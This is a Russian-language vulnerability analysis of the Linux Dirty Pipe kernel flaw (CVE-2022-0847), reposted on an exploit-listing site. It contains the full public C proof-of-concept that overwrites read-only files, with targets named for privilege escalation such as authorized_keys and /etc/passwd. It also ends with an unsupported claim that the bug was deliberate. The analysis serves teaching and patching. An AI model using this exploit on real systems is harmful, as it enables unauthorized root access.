Sploitus

Exploit for CVE-2022-0847

kitploit · 2026-08-25

Exploit Code

MARKDOWN528 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHENAOTIAN-CVE-2022-0847
# CVE-2022-0847 Dirty Pipe: анализ повышения привилегий в ядре Linux

[toc]

Статья впервые опубликована в официальном аккаунте Huawei Security; это блог-версия (более полная).

Ссылка на оригинал: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

## Краткие сведения об уязвимости

Идентификатор уязвимости: CVE-2022-0847 (псевдоним: Dirty Pipe / «грязная труба»)

Поражённый продукт: ядро Linux — системный вызов `splice`

Затронутые версии: начиная с Linux 5.8, где появился коммит f6dd975583bd, исправлено в 5.16.11, 5.15.25, 5.10.102

Ущерб: позволяет записать не более одной страницы в любой читаемый файл (этого достаточно) и локально повысить привилегии.

## Подготовка окружения

Docker-образ для анализа уязвимости: chenaotian/cve-2022-0847 (если он всё ещё недоступен, значит, я ещё не загрузил его).

Предоставляет:

  * скомпилированное уязвимое ядро 5.13 с поддержкой отладки
  * qemu, gdb, исходный код ядра Linux 5.13
  * эксплоит



Запуск:

root@kitploit:~
    
    
    cd ~/cve-2022-0847
    gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
    find . | cpio -o --format=newc > ../rootfs.img
    cd ../ 
    ./boot.sh
    

Отладка:

root@kitploit:~
    
    
    gdb ./vmlinux
    target remote :10086
    directory /root/linux-5.13
    b do_splice
    b copy_page_to_iter_pipe 
    b pipe_write
    ignore 3 15
    ...
    p *(struct pipe_inode_info *) pipe
    p (struct pipe_buffer)pipe->bufs[0]
    

## Принцип уязвимости

> Кратко: вызов `splice` может отправить файл в `pipe` в режиме «нулевого копирования». На уровне кода такая «нулевая копия» означает, что страница файлового кэша (page cache) напрямую используется как страница `buf` канала `pipe`. При этом вводится неинициализированная переменная — из-за этой ошибки страница файлового кэша в дальнейшем обрабатывается как обычная страница кэша `pipe`, и в неё можно «дописать» данные, изменив её содержимое. Однако в этой ситуации ядро не помечает страницу кэша как «грязную», поэтому она не будет сброшена на диск в ближайшее время (до следующей перезагрузки и т.п.). В течение этого времени все обращения к файлу используют изменённую страницу файлового кэша, что даёт возможность «в течение короткого времени писать произвольные данные в любой читаемый файл». Это позволяет локально повысить привилегии.

### Точка возникновения уязвимости

Судя по патчу, уязвимость находится в функции `copy_page_to_iter_pipe`: был добавлен код инициализации `buf->flags`. Это классическая ошибка неинициализированной переменной.

![image-20220308170149137](https://assets.kitploit.com/production/public/readmes/23853/318dad8582732da679c3a4b8f78983b479fcbc2ca3e502101ee6035368eb96ac.png)

Вызов `copy_page_to_iter_pipe` происходит внутри системного вызова `splice`. Функция `splice` (системный вызов) передаёт содержимое файла в канал методом «нулевого копирования». Это производительнее, чем традиционная передача содержимого файла в канал. Подробнее об этом ниже.

### Принцип работы pipe и pipe_write

Для начала, раз уж уязвимость называют «грязной трубой», стоит разобраться с каналом (`pipe`). `pipe` — это коммуникационный механизм, предоставляемый ядром; он создаётся функциями `pipe`/`pipe2` и возвращает два файловых дескриптора: один для отправки данных, другой для их приёма, как два конца трубы. Подробности использования расписывать не буду.

![image-20220309124007780](https://assets.kitploit.com/production/public/readmes/23853/ba6e842021cab3e5f0d011b02300273f739b9849646f403e556b8e59ff338102.png)

Кратко о реализации в ядре: обычно пространство кэша `pipe` имеет общий размер 65536 байт и управляется страницами — всего 16 страниц (по 4096 байт). Страницы не обязательно непрерывны: они управляются через массив и образуют кольцевой список. Поддерживаются два указателя списка: один для записи (`pipe->head`), другой для чтения (`pipe->tail`). Здесь в основном разбирается функция `pipe_write`:

linux-5.13\fs\pipe.c : 400 : pipe_write

root@kitploit:~
    
    
    static ssize_t
    pipe_write(struct kiocb *iocb, struct iov_iter *from)
    {
    	struct file *filp = iocb->ki_filp;
    	struct pipe_inode_info *pipe = filp->private_data;
    	unsigned int head;
    	ssize_t ret = 0;
    	size_t total_len = iov_iter_count(from);
    	ssize_t chars;
    	bool was_empty = false;
    	bool wake_next_writer = false;
    
    	··· ···
        ··· ···
    	head = pipe->head;
    	was_empty = pipe_empty(head, pipe->tail);
    	chars = total_len & (PAGE_SIZE-1);
    	if (chars && !was_empty) { 
            //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
    		unsigned int mask = pipe->ring_size - 1;
    		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
    		int offset = buf->offset + buf->len; 
    
    		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
    		    offset + chars <= PAGE_SIZE) { 
                /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
                 *如果写入长度不会跨页,则接着写,否则直接另起一页 */
    			ret = pipe_buf_confirm(pipe, buf);
    			···
    			ret = copy_page_from_iter(buf->page, offset, chars, from);
    			···
    			}
    			buf->len += ret;
    			···
    		}
    	}
    
    	for (;;) {//[3]如果上一页没法接着写,则重新起一页
    		··· ···
    		head = pipe->head;
    		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
    			unsigned int mask = pipe->ring_size - 1;
    			struct pipe_buffer *buf = &pipe->bufs[head & mask];
    			struct page *page = pipe->tmp_page;
    			int copied;
    
    			if (!page) {//[4]重新申请一个新页
    				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
    				if (unlikely(!page)) {
    					ret = ret ? : -ENOMEM;
    					break;
    				}
    				pipe->tmp_page = page;
    			}
    
    			spin_lock_irq(&pipe->rd_wait.lock);
    
    			head = pipe->head;
    			··· ···
    			pipe->head = head + 1;
    			spin_unlock_irq(&pipe->rd_wait.lock);
    
    			/* Insert it into the buffer array */
    			buf = &pipe->bufs[head & mask];
    			buf->page = page;//[5]将新申请的页放到页数组中
    			buf->ops = &anon_pipe_buf_ops;
    			buf->offset = 0;
    			buf->len = 0;
    			if (is_packetized(filp))
    				buf->flags = PIPE_BUF_FLAG_PACKET;
    			else
    				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
                	//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE
    			pipe->tmp_page = NULL;
    
    			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
                //[7]拷贝操作
    			··· ···
    			ret += copied;
    			buf->offset = 0;
    			buf->len = copied;
    
    			··· ···
    		}
            ··· ···
        }
    	··· ···
    	return ret;
    }
    

  1. Если текущий канал `pipe` не пуст (`head == tail` означает пустой канал), значит в нём есть непрочитанные данные. Берётся указатель `head`, то есть адрес самой свежей страницы для записи, и проверяются `len`, `offset` этой страницы (чтобы найти конец данных). Затем предпринимается попытка дописать данные в текущую страницу.
  2. Проверяется, есть ли у текущей страницы флаг **`PIPE_BUF_FLAG_CAN_MERGE`; если его нет, дописывать в текущую страницу нельзя**. Также проверяется, что после дописывания к существующим данным общая длина не превышает одну страницу (то есть запись не пересекает границу страницы). Если пересекает — дописать нельзя.
  3. Если в предыдущую страницу дописать нельзя, берётся новая страница.
  4. `alloc_page` выделяет новую страницу.
  5. Новая страница помещается в начало массива (может заменить существующую страницу), инициализируются значения.
  6. `buf->flag` по умолчанию устанавливается в `PIPE_BUF_FLAG_CAN_MERGE`, потому что по умолчанию странице разрешено дописывание.
  7. Копируются записываемые данные; если скопировано не всё, описанные операции повторяются.



Ключ к эксплуатации — неинициализированный флаг `PIPE_BUF_FLAG_CAN_MERGE`, оставшийся в `splice`. Именно он определяет, можно ли дописать данные в «незакрытую» страницу `pipe`.

### От splice до copy_page_to_iter_pipe

Как уже упоминалось, `pipe` использует 16 страниц в качестве кольцевого кэша. Метод нулевого копирования в `splice` состоит в том, что страница файлового кэша напрямую подставляется вместо страницы кэша `pipe` (указатель страницы в `pipe` меняется на страницу файлового кэша).

![image-20220309124515813](https://assets.kitploit.com/production/public/readmes/23853/194ee51bae2ffc0aa1e4a410dbcf9375f2c99caf50b065d4779d962b29a0bcd6.png)

Стек вызовов от системного вызова `splice` до уязвимой функции `copy_page_to_iter_pipe` очень глубокий; подробно разбирать его не будем. Стек выглядит так:

  * `SYSCALL_DEFINE6(splice,...)` -> `__do_sys_splice` -> `__do_splice`-> `do_splice`
    * `splice_file_to_pipe` -> `do_splice_to`
      * `generic_file_splice_read`(`in->f_op->splice_read` по умолчанию `generic_file_splice_read`) 
        * `call_read_iter` -> `filemap_read`
          * `copy_page_to_iter` -> `copy_page_to_iter_pipe`



Уязвимая функция `copy_page_to_iter_pipe` в основном делает следующее: она перенаправляет структуру страницы кэша `pipe` на страницу файлового кэша передаваемого файла:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

root@kitploit:~
    
    
    static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
    			 struct iov_iter *i)
    {
    	struct pipe_inode_info *pipe = i->pipe;
    	struct pipe_buffer *buf;
    	unsigned int p_tail = pipe->tail;
    	unsigned int p_mask = pipe->ring_size - 1;
    	unsigned int i_head = i->head;
    	size_t off;
    
    	··· ···
    
    	off = i->iov_offset;
    	buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页
    	··· ···
    	
    	buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页
    	get_page(page);
    	buf->page = page;//[2]页指针指向了文件缓存页
    	buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)
    	buf->len = bytes;
    
    	pipe->head = i_head + 1;
    	i->iov_offset = offset + bytes;
    	i->head = i_head;
    out:
    	i->count -= bytes;
    	return bytes;
    }
    

  1. Сначала по кольцевой структуре массива страниц `pipe` находится позиция текущего указателя записи (`pipe->head`).
  2. Страница, в которую нужно писать, направляется на подготовленную страницу файлового кэша, и задаются остальные параметры, например `len`, определяемый аргументами системного вызова `splice`. Единственное, что здесь не инициализируется, — это `flags`, что и приводит к уязвимости.



Обычно после инициализации `pipe->bufs` выглядит так:

![image-20220308165052936](https://assets.kitploit.com/production/public/readmes/23853/f3d08ec3d93579f409d2d521a60075f018c77681a646f8073ab8647c913ed6c5.png)

Теперь, согласно разобранному выше коду `pipe_write`, если снова вызвать `pipe_write` для записи данных в `pipe`, указатель записи (`pipe->head`) указывает на страницу с рисунка выше, а `flags` содержит `PIPE_BUF_FLAG_CAN_MERGE` — значит, можно дописывать в эту страницу, если запись не пересекает границу страницы:

root@kitploit:~
    
    
    #define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */
    
    if (chars && !was_empty) { 
            //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
    		unsigned int mask = pipe->ring_size - 1;
    		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
    		int offset = buf->offset + buf->len; 
    
        if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                    offset + chars <= PAGE_SIZE) { 
                    /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
                     *如果写入长度不会跨页,则接着写,否则直接另起一页 */
                    ret = pipe_buf_confirm(pipe, buf);
                    ···
                    ret = copy_page_from_iter(buf->page, offset, chars, from);
    

### Механизм page cache в ядре Linux

Linux помещает открытые файлы в страницы кэша; после использования такие страницы хранятся некоторое время, чтобы избежать лишних операций ввода-вывода. При повторном обращении к одному и тому же файлу в течение короткого времени используются те же страницы файлового кэша, а не повторное открытие файла. Если мы изменили эту страницу файлового кэша описанным способом, то в течение короткого времени любые операции чтения этого файла будут возвращать изменённую страницу — так уязвимость и эксплуатируется.

## Эксплуатация уязвимости

Как уже было сказано, эксплуатация очень проста: достаточно понять принцип уязвимости. По шагам (следуя описанию автора) это выглядит так:

  1. Создать канал.
  2. Заполнить канал целиком (через `pipe_write`), чтобы все `buf` (страницы кэша `pipe`) были инициализированы, а `flags` по умолчанию получили `PIPE_BUF_FLAG_CAN_MERGE`.
  3. Освободить канал (через `pipe_read`), чтобы при передаче файла через `splice` использовались уже инициализированные структуры `buf`.
  4. Вызвать `splice`, чтобы передать в канал файл, который нужно изменить.
  5. Снова записать данные в `pipe` (через `pipe_write`) — теперь они перекроют страницу файлового кэша, и временное изменение файла готово.



### Детальная отладка

После второго шага, когда канал заполнен и снова опустошён, в структуре `bufs` видны данные, которые затем будут переиспользованы неинициализированными записями:

root@kitploit:~
    
    
    p *(struct pipe_inode_info *) pipe
    p (struct pipe_buffer)pipe->bufs[0]
    

![image-20220308173705037](https://assets.kitploit.com/production/public/readmes/23853/cec3481ac65df5016332b0bae023af6a62d50af2c6f9f2909b26c92c715536b2.png)

После вызова `splice`, когда файл передан, структура меняется: `flags` остаётся неинициализированным. Значение `len` здесь нужно выставлять как можно меньше, потому что чем оно меньше, тем больше данных мы сможем «дописать» позже. Здесь `len = 1`, а смещение — стартовый адрес, в который мы хотим писать. При этом указатель `pipe->bufs->page` направляется на этот стартовый адрес:

root@kitploit:~
    
    
    splice(fd, &offset, p[1], NULL, 1, 0);
    

![image-20220308165052936](https://assets.kitploit.com/production/public/readmes/23853/f3d08ec3d93579f409d2d521a60075f018c77681a646f8073ab8647c913ed6c5.png)

При следующем вызове `pipe_write` условие дописывания выполняется, и данные дописываются прямо на страницу:

![image-20220308174556226](https://assets.kitploit.com/production/public/readmes/23853/1d7b0206a1379c6964f3c52f0a69d65a7a351487399fd1efb4e9fcfd97025d27.png)

### Эксплоит

Не мой, взят из публичного раскрытия уязвимости:

root@kitploit:~
    
    
    /* SPDX-License-Identifier: GPL-2.0 */
    /*
     * Copyright 2022 CM4all GmbH / IONOS SE
     *
     * author: Max Kellermann <some-email@example.com>
     *
     * Proof-of-concept exploit for the Dirty Pipe
     * vulnerability (CVE-2022-0847) caused by an uninitialized
     * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
     * file contents in the page cache, even if the file is not permitted
     * to be written, immutable or on a read-only mount.
     *
     * This exploit requires Linux 5.8 or later; the code path was made
     * reachable by commit f6dd975583bd ("pipe: merge
     * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
     * there before, it just provided an easy way to exploit it.
     *
     * There are two major limitations of this exploit: the offset cannot
     * be on a page boundary (it needs to write one byte before the offset
     * to add a reference to this page to the pipe), and the write cannot
     * cross a page boundary.
     *
     * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
     *
     * Further explanation: https://dirtypipe.cm4all.com/
     */
    
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <sys/user.h>
    
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
    	if (pipe(p)) abort();
    
    	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    	static char buffer[4096];
    
    	/* fill the pipe completely; each pipe_buffer will now have
    	   the PIPE_BUF_FLAG_CAN_MERGE flag */
    	for (unsigned r = pipe_size; r > 0;) {
    		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    		write(p[1], buffer, n);
    		r -= n;
    	}
    
    	/* drain the pipe, freeing all pipe_buffer instances (but
    	   leaving the flags initialized) */
    	for (unsigned r = pipe_size; r > 0;) {
    		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    		read(p[0], buffer, n);
    		r -= n;
    	}
    
    	/* the pipe is now empty, and if somebody adds a new
    	   pipe_buffer without initializing its "flags", the buffer
    	   will be mergeable */
    }
    
    int main(int argc, char **argv)
    {
    	if (argc != 4) {
    		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
    		return EXIT_FAILURE;
    	}
    
    	/* dumb command-line argument parser */
    	const char *const path = argv[1];
    	loff_t offset = strtoul(argv[2], NULL, 0);
    	const char *const data = argv[3];
    	const size_t data_size = strlen(data);
    
    	if (offset % PAGE_SIZE == 0) {
    		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
    		return EXIT_FAILURE;
    	}
    
    	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    	const loff_t end_offset = offset + (loff_t)data_size;
    	if (end_offset > next_page) {
    		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
    		return EXIT_FAILURE;
    	}
    
    	/* open the input file and validate the specified offset */
    	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
    	if (fd < 0) {
    		perror("open failed");
    		return EXIT_FAILURE;
    	}
    
    	struct stat st;
    	if (fstat(fd, &st)) {
    		perror("stat failed");
    		return EXIT_FAILURE;
    	}
    
    	if (offset > st.st_size) {
    		fprintf(stderr, "Offset is not inside the file\n");
    		return EXIT_FAILURE;
    	}
    
    	if (end_offset > st.st_size) {
    		fprintf(stderr, "Sorry, cannot enlarge the file\n");
    		return EXIT_FAILURE;
    	}
    
    	/* create the pipe with all flags initialized with
    	   PIPE_BUF_FLAG_CAN_MERGE */
    	int p[2];
    	prepare_pipe(p);
    
    	/* splice one byte from before the specified offset into the
    	   pipe; this will add a reference to the page cache, but
    	   since copy_page_to_iter_pipe() does not initialize the
    	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
    	--offset;
    	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    	if (nbytes < 0) {
    		perror("splice failed");
    		return EXIT_FAILURE;
    	}
    	if (nbytes == 0) {
    		fprintf(stderr, "short splice\n");
    		return EXIT_FAILURE;
    	}
    
    	/* the following write will not create a new pipe_buffer, but
    	   will instead write into the page cache, because of the
    	   PIPE_BUF_FLAG_CAN_MERGE flag */
    	nbytes = write(p[1], data, data_size);
    	if (nbytes < 0) {
    		perror("write failed");
    		return EXIT_FAILURE;
    	}
    	if ((size_t)nbytes < data_size) {
    		fprintf(stderr, "short write\n");
    		return EXIT_FAILURE;
    	}
    
    	printf("It worked!\n");
    	return EXIT_SUCCESS;
    }
    

Повышение привилегий работает:

root@kitploit:~
    
    
    gcc exp.c -o exp --static
    ./exp file offset string
    

![image-20220308172336511](https://assets.kitploit.com/production/public/readmes/23853/811e75c0934ef7b35d3659cc7d3a7cd2d2f773c945817bd37325b2db12ee90d1.png)

Здесь продемонстрирован эффект записи в произвольный файл. Для реального повышения привилегий можно, например, изменить `/etc/passwd`, SSH-ключи или некоторые SUID-файлы. Практически это уже не выполняю (я всё равно не занимаюсь пентестом).

### Небольшие ограничения (несущественные)

  1. Нельзя изменить размер файла (нельзя сделать его больше).
  2. Длина одной записи не может превышать одну страницу (4 КБ).



## Меры по смягчению

### Рекомендации

Это уязвимость ядра, поэтому хорошего способа обойти её нет; рекомендуется обновить ядро до исправленных версий: 5.16.11, 5.15.25, 5.10.102 и выше.

### Проверка уязвимости (инструмент)

На основе POC, опубликованного автором раскрытия, я написал простой инструмент проверки. Если уязвимость присутствует, выводится «There is CVE-2022-0847»:

![image-20220308202244668](https://assets.kitploit.com/production/public/readmes/23853/43050bcceeeeb03adc02adee12ea396c7db5d1aedafd04ae95bf0245e6328fe2.png)

Если уязвимости нет, выводится «You are safe!».

## Ссылки

Раскрытие уязвимости: https://dirtypipe.cm4all.com/

## Теория заговора

Флаг `PIPE_BUF_FLAG_CAN_MERGE` в коде встречается всего пять раз: один раз в объявлении `#define`, два раза в `pipe_write`. Оставшиеся два — в `splice`:

![image-20220308211006312](https://assets.kitploit.com/production/public/readmes/23853/2ec1000d94c57150a21bd4a4efdb35e7200508ef8774ae80d75fbfed317c33db.png)

Кроме того, исходя из кода, где используется эта переменная, её смысл — разрешать или запрещать дописывание в текущую самую свежую страницу кэша `pipe`. Обычно страница, выделенная самим `pipe`, — это обычная страница, и дописывание в неё нормально. Когда дописывать нельзя? Тогда, когда страница выделена не самим `pipe` — такие страницы нельзя менять как угодно. Судя по текущей картине, только в `splice` и встречаются страницы, не выделенные самим `pipe`. Иными словами, **флаг`PIPE_BUF_FLAG_CAN_MERGE` был создан именно для `splice`. И вы хотите сказать, что его не инициализируют?**

Поэтому я подозреваю, что эта уязвимость вовсе не небрежность...